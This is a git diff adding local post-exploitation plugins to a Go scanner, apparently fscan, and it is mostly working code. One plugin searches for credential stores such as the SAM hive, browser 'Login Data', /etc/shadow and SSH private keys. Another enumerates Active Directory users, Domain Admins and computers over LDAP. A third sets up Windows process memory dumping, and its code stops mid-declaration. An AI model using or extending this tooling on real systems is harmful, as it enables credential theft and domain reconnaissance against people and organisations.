diff --git a/Common/Flag.go b/Common/Flag.go index df5e44b..611e05b 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -149,6 +149,7 @@ func Flag(Info *HostInfo) { flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping")) flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint")) flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode")) + flag.StringVar(&LocalPlugin, "localplugin", "", i18n.GetText("flag_local_plugin")) flag.BoolVar(&AliveOnly, "ao", false, i18n.GetText("flag_alive_only")) // ═════════════════════════════════════════════════ @@ -233,6 +234,9 @@ func Flag(Info *HostInfo) { // 更新进度条显示状态 ShowProgress = !DisableProgress + // 同步配置到core包 + SyncToCore() + // 如果显示帮助或者没有提供目标,显示帮助信息并退出 if showHelp || shouldShowHelp(Info) { flag.Usage() @@ -334,7 +338,12 @@ func preProcessLanguage() { // shouldShowHelp 检查是否应该显示帮助信息 func shouldShowHelp(Info *HostInfo) bool { // 检查是否提供了扫描目标 - hasTarget := Info.Host != "" || TargetURL != "" || LocalMode + hasTarget := Info.Host != "" || TargetURL != "" + + // 本地模式需要指定插件才算有效目标 + if LocalMode && LocalPlugin != "" { + hasTarget = true + } // 如果没有提供任何扫描目标,则显示帮助 if !hasTarget { @@ -350,4 +359,35 @@ func checkParameterConflicts() { if AliveOnly && ScanMode == "icmp" { LogBase(i18n.GetText("param_conflict_ao_icmp_both")) } + + // 检查本地模式和本地插件参数 + if LocalMode { + if LocalPlugin == "" { + fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n") + fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump\n") + os.Exit(1) + } + + // 验证本地插件名称 + validPlugins := []string{"fileinfo", "dcinfo", "minidump"} + isValid := false + for _, valid := range validPlugins { + if LocalPlugin == valid { + isValid = true + break + } + } + + if !isValid { + fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin) + fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump\n") + os.Exit(1) + } + } + + // 如果指定了本地插件但未启用本地模式 + if !LocalMode && LocalPlugin != "" { + fmt.Printf("错误: 指定本地插件 (-localplugin) 时必须启用本地模式 (-local)\n") + os.Exit(1) + } } diff --git a/Common/base/Manager.go b/Common/base/Manager.go index b36cb99..3659df6 100644 --- a/Common/base/Manager.go +++ b/Common/base/Manager.go @@ -17,6 +17,7 @@ var ( Timeout int64 // 超时时间 DisablePing bool // 禁用ping LocalMode bool // 本地模式 + LocalPlugin string // 本地插件选择 // 基础认证配置 Username string // 用户名 diff --git a/Common/globals.go b/Common/globals.go index 650867d..5ef7259 100644 --- a/Common/globals.go +++ b/Common/globals.go @@ -40,6 +40,7 @@ var ( Timeout int64 // 直接映射到base.Timeout DisablePing bool // 直接映射到base.DisablePing LocalMode bool // 直接映射到base.LocalMode + LocalPlugin string // 本地插件选择 AliveOnly bool // 仅存活探测模式 ) @@ -105,6 +106,7 @@ func SyncFromCore() { Timeout = base.Timeout DisablePing = base.DisablePing LocalMode = base.LocalMode + LocalPlugin = base.LocalPlugin Username = base.Username Password = base.Password @@ -129,6 +131,7 @@ func SyncToCore() { base.Timeout = Timeout base.DisablePing = DisablePing base.LocalMode = LocalMode + base.LocalPlugin = LocalPlugin base.Username = Username base.Password = Password diff --git a/Core/BaseScanStrategy.go b/Core/BaseScanStrategy.go index 3ff334f..142ec38 100644 --- a/Core/BaseScanStrategy.go +++ b/Core/BaseScanStrategy.go @@ -45,6 +45,16 @@ func NewBaseScanStrategy(name string, filterType PluginFilterType) *BaseScanStra // GetPlugins 获取插件列表(通用实现) func (b *BaseScanStrategy) GetPlugins() ([]string, bool) { + // 本地模式优先使用LocalPlugin参数 + if b.filterType == FilterLocal && common.LocalPlugin != "" { + if GlobalPluginAdapter.PluginExists(common.LocalPlugin) { + return []string{common.LocalPlugin}, true + } else { + common.LogError(fmt.Sprintf("指定的本地插件 '%s' 不存在", common.LocalPlugin)) + return []string{}, true + } + } + // 如果指定了特定插件且不是"all" if common.ScanMode != "" && common.ScanMode != "all" { requestedPlugins := parsePluginList(common.ScanMode) diff --git a/Core/PluginAdapter.go b/Core/PluginAdapter.go index cf43662..fa556c8 100644 --- a/Core/PluginAdapter.go +++ b/Core/PluginAdapter.go @@ -91,8 +91,13 @@ func (pa *PluginAdapter) ScanWithPlugin(pluginName string, info *common.HostInfo } // 处理扫描结果 - if result != nil && result.Success { + if result == nil { + common.LogDebug(fmt.Sprintf("插件 %s 返回了空结果", pluginName)) + } else if result.Success { common.LogDebug(fmt.Sprintf("插件 %s 扫描成功", pluginName)) + // TODO: 输出扫描结果 + } else { + common.LogDebug(fmt.Sprintf("插件 %s 扫描失败: %v", pluginName, result.Error)) } return nil diff --git a/Plugins/local/connector.go b/Plugins/local/connector.go new file mode 100644 index 0000000..c0e5e7b --- /dev/null +++ b/Plugins/local/connector.go @@ -0,0 +1,163 @@ +package local + +import ( + "context" + "fmt" + "os" + "runtime" + "path/filepath" + "github.com/shadow1ng/fscan/common" +) + +// BaseLocalConnector 基础本地连接器实现 +type BaseLocalConnector struct { + workingDir string + homeDir string + systemInfo map[string]string +} + +// LocalConnection 本地连接对象 +type LocalConnection struct { + WorkingDir string + HomeDir string + SystemInfo map[string]string + TempDir string +} + +// NewBaseLocalConnector 创建基础本地连接器 +func NewBaseLocalConnector() (*BaseLocalConnector, error) { + homeDir, err := os.UserHomeDir() + if err != nil { + return nil, err + } + + workingDir, err := os.Getwd() + if err != nil { + return nil, err + } + + return &BaseLocalConnector{ + workingDir: workingDir, + homeDir: homeDir, + systemInfo: make(map[string]string), + }, nil +} + +// Connect 建立本地连接 +func (c *BaseLocalConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) { + // 初始化系统信息 + c.initSystemInfo() + + tempDir := os.TempDir() + + conn := &LocalConnection{ + WorkingDir: c.workingDir, + HomeDir: c.homeDir, + SystemInfo: c.systemInfo, + TempDir: tempDir, + } + + return conn, nil +} + +// Close 关闭连接 +func (c *BaseLocalConnector) Close(conn interface{}) error { + // 本地连接无需特殊关闭操作 + return nil +} + +// GetSystemInfo 获取系统信息 +func (c *BaseLocalConnector) GetSystemInfo(conn interface{}) (map[string]string, error) { + localConn, ok := conn.(*LocalConnection) + if !ok { + return nil, fmt.Errorf("无效的连接类型") + } + + return localConn.SystemInfo, nil +} + +// initSystemInfo 初始化系统信息 +func (c *BaseLocalConnector) initSystemInfo() { + c.systemInfo["os"] = runtime.GOOS + c.systemInfo["arch"] = runtime.GOARCH + c.systemInfo["home_dir"] = c.homeDir + c.systemInfo["working_dir"] = c.workingDir + c.systemInfo["temp_dir"] = os.TempDir() + + // 获取用户名 + if username := os.Getenv("USER"); username != "" { + c.systemInfo["username"] = username + } else if username := os.Getenv("USERNAME"); username != "" { + c.systemInfo["username"] = username + } + + // 获取主机名 + if hostname, err := os.Hostname(); err == nil { + c.systemInfo["hostname"] = hostname + } +} + +// GetCommonDirectories 获取常见目录路径 +func (c *BaseLocalConnector) GetCommonDirectories() []string { + var dirs []string + + switch runtime.GOOS { + case "windows": + dirs = []string{ + c.homeDir, + filepath.Join(c.homeDir, "Desktop"), + filepath.Join(c.homeDir, "Documents"), + filepath.Join(c.homeDir, "Downloads"), + "C:\\Users\\Public\\Documents", + "C:\\Users\\Public\\Desktop", + "C:\\Program Files", + "C:\\Program Files (x86)", + } + case "linux", "darwin": + dirs = []string{ + c.homeDir, + filepath.Join(c.homeDir, "Desktop"), + filepath.Join(c.homeDir, "Documents"), + filepath.Join(c.homeDir, "Downloads"), + "/opt", + "/usr/local", + "/var/www", + "/var/log", + } + } + + return dirs +} + +// GetSensitiveFiles 获取敏感文件路径 +func (c *BaseLocalConnector) GetSensitiveFiles() []string { + var files []string + + switch runtime.GOOS { + case "windows": + files = []string{ + "C:\\boot.ini", + "C:\\windows\\system32\\inetsrv\\MetaBase.xml", + "C:\\windows\\repair\\sam", + "C:\\windows\\system32\\config\\sam", + filepath.Join(c.homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"), + filepath.Join(c.homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"), + filepath.Join(c.homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"), + } + case "linux", "darwin": + files = []string{ + "/etc/passwd", + "/etc/shadow", + "/etc/hosts", + "/etc/ssh/ssh_config", + "/root/.ssh/id_rsa", + "/root/.ssh/authorized_keys", + "/root/.bash_history", + filepath.Join(c.homeDir, ".ssh/id_rsa"), + filepath.Join(c.homeDir, ".ssh/authorized_keys"), + filepath.Join(c.homeDir, ".bash_history"), + } + } + + return files +} \ No newline at end of file diff --git a/Plugins/local/dcinfo/plugin.go b/Plugins/local/dcinfo/plugin.go new file mode 100644 index 0000000..4ee41d1 --- /dev/null +++ b/Plugins/local/dcinfo/plugin.go @@ -0,0 +1,453 @@ +//go:build windows + +package dcinfo + +import ( + "context" + "fmt" + "github.com/go-ldap/ldap/v3" + "github.com/go-ldap/ldap/v3/gssapi" + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins/base" + "github.com/shadow1ng/fscan/plugins/local" + "os/exec" + "strings" +) + +// DCInfoPlugin 域控信息收集插件 +type DCInfoPlugin struct { + *local.BaseLocalPlugin + connector *DCInfoConnector +} + +// DCInfoConnector 域控信息连接器 +type DCInfoConnector struct { + *local.BaseLocalConnector + conn *ldap.Conn + baseDN string +} + +// DomainConnection 域连接对象 +type DomainConnection struct { + *local.LocalConnection + LDAPConn *ldap.Conn + BaseDN string + Domain string +} + +// NewDCInfoPlugin 创建域控信息收集插件 +func NewDCInfoPlugin() *DCInfoPlugin { + metadata := &base.PluginMetadata{ + Name: "dcinfo", + Version: "1.0.0", + Author: "fscan-team", + Description: "Windows域控制器信息收集插件", + Category: "local", + Tags: []string{"local", "domain", "ldap", "windows"}, + Protocols: []string{"local"}, + } + + connector := NewDCInfoConnector() + plugin := &DCInfoPlugin{ + BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector), + connector: connector, + } + + // 仅支持Windows平台 + plugin.SetPlatformSupport([]string{"windows"}) + // 需要域环境权限 + plugin.SetRequiresPrivileges(false) // 使用当前用户凭据 + + return plugin +} + +// Scan 重写扫描方法以确保调用正确的ScanLocal实现 +func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + return p.ScanLocal(ctx, info) +} + +// NewDCInfoConnector 创建域控信息连接器 +func NewDCInfoConnector() *DCInfoConnector { + baseConnector, _ := local.NewBaseLocalConnector() + + return &DCInfoConnector{ + BaseLocalConnector: baseConnector, + } +} + +// Connect 建立域控连接 +func (c *DCInfoConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) { + // 先建立基础本地连接 + localConn, err := c.BaseLocalConnector.Connect(ctx, info) + if err != nil { + return nil, err + } + + baseConn := localConn.(*local.LocalConnection) + + // 获取域控制器地址 + dcHost, domain, err := c.getDomainController() + if err != nil { + return nil, fmt.Errorf("获取域控制器失败: %v", err) + } + + // 建立LDAP连接 + ldapConn, baseDN, err := c.connectToLDAP(dcHost, domain) + if err != nil { + return nil, fmt.Errorf("LDAP连接失败: %v", err) + } + + domainConn := &DomainConnection{ + LocalConnection: baseConn, + LDAPConn: ldapConn, + BaseDN: baseDN, + Domain: domain, + } + + return domainConn, nil +} + +// Close 关闭域控连接 +func (c *DCInfoConnector) Close(conn interface{}) error { + if domainConn, ok := conn.(*DomainConnection); ok { + if domainConn.LDAPConn != nil { + domainConn.LDAPConn.Close() + } + } + return c.BaseLocalConnector.Close(conn) +} + +// getDomainController 获取域控制器地址 +func (c *DCInfoConnector) getDomainController() (string, string, error) { + common.LogDebug("开始查询域控制器地址...") + + // 使用wmic获取域名 + cmd := exec.Command("wmic", "computersystem", "get", "domain") + output, err := cmd.Output() + if err != nil { + return "", "", fmt.Errorf("获取域名失败: %v", err) + } + + lines := strings.Split(string(output), "\n") + if len(lines) < 2 { + return "", "", fmt.Errorf("未找到域名") + } + + domain := strings.TrimSpace(lines[1]) + if domain == "" || domain == "WORKGROUP" { + return "", "", fmt.Errorf("当前机器未加入域") + } + + common.LogDebug(fmt.Sprintf("获取到域名: %s", domain)) + + // 使用nslookup查询域控制器 + cmd = exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain)) + output, err = cmd.Output() + if err != nil { + return "", "", fmt.Errorf("查询域控制器失败: %v", err) + } + + // 解析nslookup输出 + lines = strings.Split(string(output), "\n") + for _, line := range lines { + if strings.Contains(line, "svr hostname") { + parts := strings.Split(line, "=") + if len(parts) > 1 { + dcHost := strings.TrimSpace(parts[1]) + dcHost = strings.TrimSuffix(dcHost, ".") + common.LogSuccess(fmt.Sprintf("找到域控制器: %s", dcHost)) + return dcHost, domain, nil + } + } + } + + // 备选方案:使用域名直接构造 + dcHost := fmt.Sprintf("dc.%s", domain) + return dcHost, domain, nil +} + +// connectToLDAP 连接到LDAP服务器 +func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) { + // 创建SSPI客户端 + ldapClient, err := gssapi.NewSSPIClient() + if err != nil { + return nil, "", fmt.Errorf("创建SSPI客户端失败: %v", err) + } + defer ldapClient.Close() + + // 创建LDAP连接 + conn, err := ldap.DialURL(fmt.Sprintf("ldap://%s:389", dcHost)) + if err != nil { + return nil, "", fmt.Errorf("LDAP连接失败: %v", err) + } + + // 使用GSSAPI进行绑定 + err = conn.GSSAPIBind(ldapClient, fmt.Sprintf("ldap/%s", dcHost), "") + if err != nil { + conn.Close() + return nil, "", fmt.Errorf("GSSAPI绑定失败: %v", err) + } + + // 获取BaseDN + baseDN, err := c.getBaseDN(conn, domain) + if err != nil { + conn.Close() + return nil, "", err + } + + return conn, baseDN, nil +} + +// getBaseDN 获取BaseDN +func (c *DCInfoConnector) getBaseDN(conn *ldap.Conn, domain string) (string, error) { + searchRequest := ldap.NewSearchRequest( + "", + ldap.ScopeBaseObject, + ldap.NeverDerefAliases, + 0, 0, false, + "(objectClass=*)", + []string{"defaultNamingContext"}, + nil, + ) + + result, err := conn.Search(searchRequest) + if err != nil { + return "", fmt.Errorf("获取defaultNamingContext失败: %v", err) + } + + if len(result.Entries) == 0 { + // 备选方案:从域名构造BaseDN + parts := strings.Split(domain, ".") + var dn []string + for _, part := range parts { + dn = append(dn, fmt.Sprintf("DC=%s", part)) + } + return strings.Join(dn, ","), nil + } + + baseDN := result.Entries[0].GetAttributeValue("defaultNamingContext") + if baseDN == "" { + return "", fmt.Errorf("获取BaseDN失败") + } + + return baseDN, nil +} + +// ScanLocal 执行域控信息扫描 +func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + common.LogBase("开始域控制器信息收集...") + + // 建立域控连接 + conn, err := p.connector.Connect(ctx, info) + if err != nil { + return &base.ScanResult{ + Success: false, + Error: fmt.Errorf("域控连接失败: %v", err), + }, nil + } + defer p.connector.Close(conn) + + domainConn := conn.(*DomainConnection) + + // 收集域信息 + domainData := make(map[string]interface{}) + + // 获取特殊计算机 + if specialComputers, err := p.getSpecialComputers(domainConn); err == nil { + domainData["special_computers"] = specialComputers + } + + // 获取域用户 + if users, err := p.getDomainUsers(domainConn); err == nil { + domainData["domain_users"] = users + } + + // 获取域管理员 + if admins, err := p.getDomainAdmins(domainConn); err == nil { + domainData["domain_admins"] = admins + } + + // 获取计算机信息 + if computers, err := p.getComputers(domainConn); err == nil { + domainData["computers"] = computers + } + + result := &base.ScanResult{ + Success: len(domainData) > 0, + Service: "DCInfo", + Banner: fmt.Sprintf("域: %s", domainConn.Domain), + Extra: domainData, + } + + common.LogSuccess("域控制器信息收集完成") + return result, nil +} + +// getSpecialComputers 获取特殊计算机 +func (p *DCInfoPlugin) getSpecialComputers(conn *DomainConnection) (map[string][]string, error) { + results := make(map[string][]string) + + // 获取域控制器 + dcQuery := ldap.NewSearchRequest( + conn.BaseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, 0, false, + "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))", + []string{"cn"}, + nil, + ) + + if sr, err := conn.LDAPConn.SearchWithPaging(dcQuery, 10000); err == nil { + var dcs []string + for _, entry := range sr.Entries { + if name := entry.GetAttributeValue("cn"); name != "" { + dcs = append(dcs, name) + } + } + if len(dcs) > 0 { + results["域控制器"] = dcs + common.LogSuccess(fmt.Sprintf("发现 %d 个域控制器", len(dcs))) + } + } + + return results, nil +} + +// getDomainUsers 获取域用户 +func (p *DCInfoPlugin) getDomainUsers(conn *DomainConnection) ([]string, error) { + searchRequest := ldap.NewSearchRequest( + conn.BaseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, 0, false, + "(&(objectCategory=person)(objectClass=user))", + []string{"sAMAccountName"}, + nil, + ) + + sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 1000) // 限制返回数量 + if err != nil { + return nil, err + } + + var users []string + for _, entry := range sr.Entries { + if username := entry.GetAttributeValue("sAMAccountName"); username != "" { + users = append(users, username) + } + } + + if len(users) > 0 { + common.LogSuccess(fmt.Sprintf("发现 %d 个域用户", len(users))) + } + + return users, nil +} + +// getDomainAdmins 获取域管理员 +func (p *DCInfoPlugin) getDomainAdmins(conn *DomainConnection) ([]string, error) { + searchRequest := ldap.NewSearchRequest( + conn.BaseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, 0, false, + "(&(objectCategory=group)(cn=Domain Admins))", + []string{"member"}, + nil, + ) + + sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 10000) + if err != nil { + return nil, err + } + + var admins []string + if len(sr.Entries) > 0 { + members := sr.Entries[0].GetAttributeValues("member") + for _, memberDN := range members { + // 简化:仅提取CN部分 + if parts := strings.Split(memberDN, ","); len(parts) > 0 { + if cnPart := parts[0]; strings.HasPrefix(cnPart, "CN=") { + adminName := strings.TrimPrefix(cnPart, "CN=") + admins = append(admins, adminName) + } + } + } + } + + if len(admins) > 0 { + common.LogSuccess(fmt.Sprintf("发现 %d 个域管理员", len(admins))) + } + + return admins, nil +} + +// getComputers 获取域计算机 +func (p *DCInfoPlugin) getComputers(conn *DomainConnection) ([]map[string]string, error) { + searchRequest := ldap.NewSearchRequest( + conn.BaseDN, + ldap.ScopeWholeSubtree, + ldap.NeverDerefAliases, + 0, 0, false, + "(&(objectClass=computer))", + []string{"cn", "operatingSystem", "dNSHostName"}, + nil, + ) + + sr, err := conn.LDAPConn.SearchWithPaging(searchRequest, 1000) // 限制返回数量 + if err != nil { + return nil, err + } + + var computers []map[string]string + for _, entry := range sr.Entries { + computer := map[string]string{ + "name": entry.GetAttributeValue("cn"), + "os": entry.GetAttributeValue("operatingSystem"), + "dns": entry.GetAttributeValue("dNSHostName"), + } + computers = append(computers, computer) + } + + if len(computers) > 0 { + common.LogSuccess(fmt.Sprintf("发现 %d 台域计算机", len(computers))) + } + + return computers, nil +} + +// GetLocalData 获取域本地数据 +func (p *DCInfoPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { + data := make(map[string]interface{}) + data["plugin_type"] = "dcinfo" + data["requires_domain"] = true + return data, nil +} + +// ExtractData 提取域数据 +func (p *DCInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { + return &base.ExploitResult{ + Success: true, + Output: "域控信息收集完成", + Data: data, + }, nil +} + +// 插件注册函数 +func init() { + base.GlobalPluginRegistry.Register("dcinfo", base.NewSimplePluginFactory( + &base.PluginMetadata{ + Name: "dcinfo", + Version: "1.0.0", + Author: "fscan-team", + Description: "Windows域控制器信息收集插件", + Category: "local", + Tags: []string{"local", "domain", "ldap", "windows"}, + Protocols: []string{"local"}, + }, + func() base.Plugin { + return NewDCInfoPlugin() + }, + )) +} \ No newline at end of file diff --git a/Plugins/local/fileinfo/plugin.go b/Plugins/local/fileinfo/plugin.go new file mode 100644 index 0000000..4e5d1cb --- /dev/null +++ b/Plugins/local/fileinfo/plugin.go @@ -0,0 +1,275 @@ +package fileinfo + +import ( + "context" + "fmt" + "os" + "path/filepath" + "runtime" + "strings" + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins/base" + "github.com/shadow1ng/fscan/plugins/local" +) + +// FileInfoPlugin 文件信息收集插件 +type FileInfoPlugin struct { + *local.BaseLocalPlugin + connector *FileInfoConnector + + // 配置选项 + blacklist []string + whitelist []string +} + +// FileInfoConnector 文件信息连接器 +type FileInfoConnector struct { + *local.BaseLocalConnector + sensitiveFiles []string + searchDirs []string +} + +// NewFileInfoPlugin 创建文件信息收集插件 +func NewFileInfoPlugin() *FileInfoPlugin { + metadata := &base.PluginMetadata{ + Name: "fileinfo", + Version: "1.0.0", + Author: "fscan-team", + Description: "本地敏感文件信息收集插件", + Category: "local", + Tags: []string{"local", "fileinfo", "sensitive"}, + Protocols: []string{"local"}, + } + + connector := NewFileInfoConnector() + plugin := &FileInfoPlugin{ + BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector), + connector: connector, + blacklist: []string{ + ".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin", + ".dat", ".manifest", "locale", "winsxs", "windows\\sys", + }, + whitelist: []string{ + "密码", "账号", "账户", "配置", "服务器", + "数据库", "备忘", "常用", "通讯录", + "password", "config", "credential", "key", "secret", + }, + } + + // 设置平台支持 + plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) + + return plugin +} + +// Scan 重写扫描方法以确保调用正确的ScanLocal实现 +func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + return p.ScanLocal(ctx, info) +} + +// NewFileInfoConnector 创建文件信息连接器 +func NewFileInfoConnector() *FileInfoConnector { + baseConnector, _ := local.NewBaseLocalConnector() + + connector := &FileInfoConnector{ + BaseLocalConnector: baseConnector, + } + + connector.initSensitiveFiles() + + return connector +} + +// initSensitiveFiles 初始化敏感文件列表 +func (c *FileInfoConnector) initSensitiveFiles() { + switch runtime.GOOS { + case "windows": + c.sensitiveFiles = []string{ + "C:\\boot.ini", + "C:\\windows\\systems32\\inetsrv\\MetaBase.xml", + "C:\\windows\\repair\\sam", + "C:\\windows\\system32\\config\\sam", + } + + if homeDir := c.GetCommonDirectories()[0]; homeDir != "" { + c.sensitiveFiles = append(c.sensitiveFiles, []string{ + filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"), + filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"), + filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"), + }...) + } + + case "linux", "darwin": + c.sensitiveFiles = []string{ + "/etc/apache/httpd.conf", + "/etc/httpd/conf/httpd.conf", + "/etc/nginx/nginx.conf", + "/etc/hosts.deny", + "/etc/ssh/ssh_config", + "/etc/resolv.conf", + "/root/.ssh/authorized_keys", + "/root/.ssh/id_rsa", + "/root/.bash_history", + } + } + + c.searchDirs = c.GetCommonDirectories() +} + +// ScanLocal 执行本地文件扫描 +func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { + common.LogBase("开始本地敏感文件扫描...") + + // 建立连接 + conn, err := p.connector.Connect(ctx, info) + if err != nil { + return &base.ScanResult{ + Success: false, + Error: fmt.Errorf("连接失败: %v", err), + }, nil + } + defer p.connector.Close(conn) + + foundFiles := make([]string, 0) + + // 扫描固定位置的敏感文件 + common.LogDebug("扫描固定敏感文件位置...") + for _, file := range p.connector.sensitiveFiles { + if p.checkFile(file) { + foundFiles = append(foundFiles, file) + common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", file)) + } + } + + // 根据规则搜索敏感文件 + common.LogDebug("按规则搜索敏感文件...") + searchFiles := p.searchSensitiveFiles() + foundFiles = append(foundFiles, searchFiles...) + + result := &base.ScanResult{ + Success: len(foundFiles) > 0, + Service: "FileInfo", + Banner: fmt.Sprintf("发现 %d 个敏感文件", len(foundFiles)), + Extra: map[string]interface{}{ + "files": foundFiles, + "total_count": len(foundFiles), + "platform": runtime.GOOS, + }, + } + + if len(foundFiles) > 0 { + common.LogSuccess(fmt.Sprintf("本地文件扫描完成,共发现 %d 个敏感文件", len(foundFiles))) + } else { + common.LogDebug("未发现敏感文件") + } + + return result, nil +} + +// GetLocalData 获取本地文件数据 +func (p *FileInfoPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { + data := make(map[string]interface{}) + + // 获取系统信息 + data["platform"] = runtime.GOOS + data["arch"] = runtime.GOARCH + + if homeDir, err := os.UserHomeDir(); err == nil { + data["home_dir"] = homeDir + } + + if workDir, err := os.Getwd(); err == nil { + data["work_dir"] = workDir + } + + return data, nil +} + +// ExtractData 提取敏感文件数据 +func (p *FileInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { + // 文件信息收集插件主要是扫描,不进行深度利用 + return &base.ExploitResult{ + Success: true, + Output: "文件信息收集完成", + Data: data, + }, nil +} + +// checkFile 检查文件是否存在 +func (p *FileInfoPlugin) checkFile(path string) bool { + if _, err := os.Stat(path); err == nil { + return true + } + return false +} + +// searchSensitiveFiles 搜索敏感文件 +func (p *FileInfoPlugin) searchSensitiveFiles() []string { + var foundFiles []string + + for _, searchPath := range p.connector.searchDirs { + filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error { + if err != nil { + return nil + } + + // 跳过黑名单文件 + if p.isBlacklisted(path) { + if info.IsDir() { + return filepath.SkipDir + } + return nil + } + + // 检查白名单关键词 + if p.isWhitelisted(info.Name()) { + foundFiles = append(foundFiles, path) + common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path)) + } + + return nil + }) + } + + return foundFiles +} + +// isBlacklisted 检查是否在黑名单中 +func (p *FileInfoPlugin) isBlacklisted(path string) bool { + pathLower := strings.ToLower(path) + for _, black := range p.blacklist { + if strings.Contains(pathLower, black) { + return true + } + } + return false +} + +// isWhitelisted 检查是否匹配白名单 +func (p *FileInfoPlugin) isWhitelisted(filename string) bool { + filenameLower := strings.ToLower(filename) + for _, white := range p.whitelist { + if strings.Contains(filenameLower, white) { + return true + } + } + return false +} + +// 插件注册函数 +func init() { + base.GlobalPluginRegistry.Register("fileinfo", base.NewSimplePluginFactory( + &base.PluginMetadata{ + Name: "fileinfo", + Version: "1.0.0", + Author: "fscan-team", + Description: "本地敏感文件信息收集插件", + Category: "local", + Tags: []string{"local", "fileinfo", "sensitive"}, + Protocols: []string{"local"}, + }, + func() base.Plugin { + return NewFileInfoPlugin() + }, + )) +} \ No newline at end of file diff --git a/Plugins/local/interfaces.go b/Plugins/local/interfaces.go new file mode 100644 index 0000000..2dd1925 --- /dev/null +++ b/Plugins/local/interfaces.go @@ -0,0 +1,54 @@ +package local + +import ( + "context" + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins/base" +) + +// LocalConnector 本地信息收集连接器接口 +type LocalConnector interface { + // Connect 建立本地连接(实际上是初始化本地环境) + Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) + + // Close 关闭连接和清理资源 + Close(conn interface{}) error + + // GetSystemInfo 获取系统信息 + GetSystemInfo(conn interface{}) (map[string]string, error) +} + +// LocalScanner 本地扫描器接口 +type LocalScanner interface { + base.Scanner + + // ScanLocal 执行本地扫描 + ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) + + // GetLocalData 获取本地数据 + GetLocalData(ctx context.Context) (map[string]interface{}, error) +} + +// LocalExploiter 本地信息提取器接口 +type LocalExploiter interface { + base.Exploiter + + // ExtractData 提取本地数据 + ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) +} + +// LocalPlugin 本地插件接口 +type LocalPlugin interface { + base.Plugin + LocalScanner + LocalExploiter + + // GetLocalConnector 获取本地连接器 + GetLocalConnector() LocalConnector + + // GetPlatformSupport 获取支持的平台 + GetPlatformSupport() []string + + // RequiresPrivileges 是否需要特殊权限 + RequiresPrivileges() bool +} \ No newline at end of file diff --git a/Plugins/local/minidump/plugin.go b/Plugins/local/minidump/plugin.go new file mode 100644 index 0000000..ebd5c19 --- /dev/null +++ b/Plugins/local/minidump/plugin.go @@ -0,0 +1,468 @@ +//go:build windows + +package minidump + +import ( + "context" + "errors" + "fmt" + "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/plugins/base" + "github.com/shadow1ng/fscan/plugins/local" + "golang.org/x/sys/windows" + "os" + "path/filepath" + "syscall" + "unsafe" +) + +const ( + TH32CS_SNAPPROCESS = 0x00000002 + INVALID_HANDLE_VALUE = ^uintptr(0) + MAX_PATH = 260 + PROCESS_ALL_ACCESS = 0x1F0FFF + SE_PRIVILEGE_ENABLED = 0x00000002 +) + +type PROCESSENTRY32 struct { + dwSize uint32 + cntUsage uint32 + th32ProcessID uint32 + th32DefaultHeapID uintptr + th32ModuleID uint32 + cntThreads uint32 + th32ParentProcessID uint32 + pcPriClassBase int32 + dwFlags uint32 + szExeFile [MAX_PATH]uint16 +} + +type LUID struct { + LowPart uint32 + HighPart int32 +} + +type LUID_AND_ATTRIBUTES struct { + Luid LUID + Attributes uint32 +} + +type TOKEN_PRIVILEGES struct { + PrivilegeCount uint32 + Privileges [1]LUID_AND_ATTRIBUTES +} + +// MiniDumpPlugin 内存转储插件 +type MiniDumpPlugin struct { + *local.BaseLocalPlugin + connector *MiniDumpConnector +} + +// MiniDumpConnector 内存转储连接器 +type 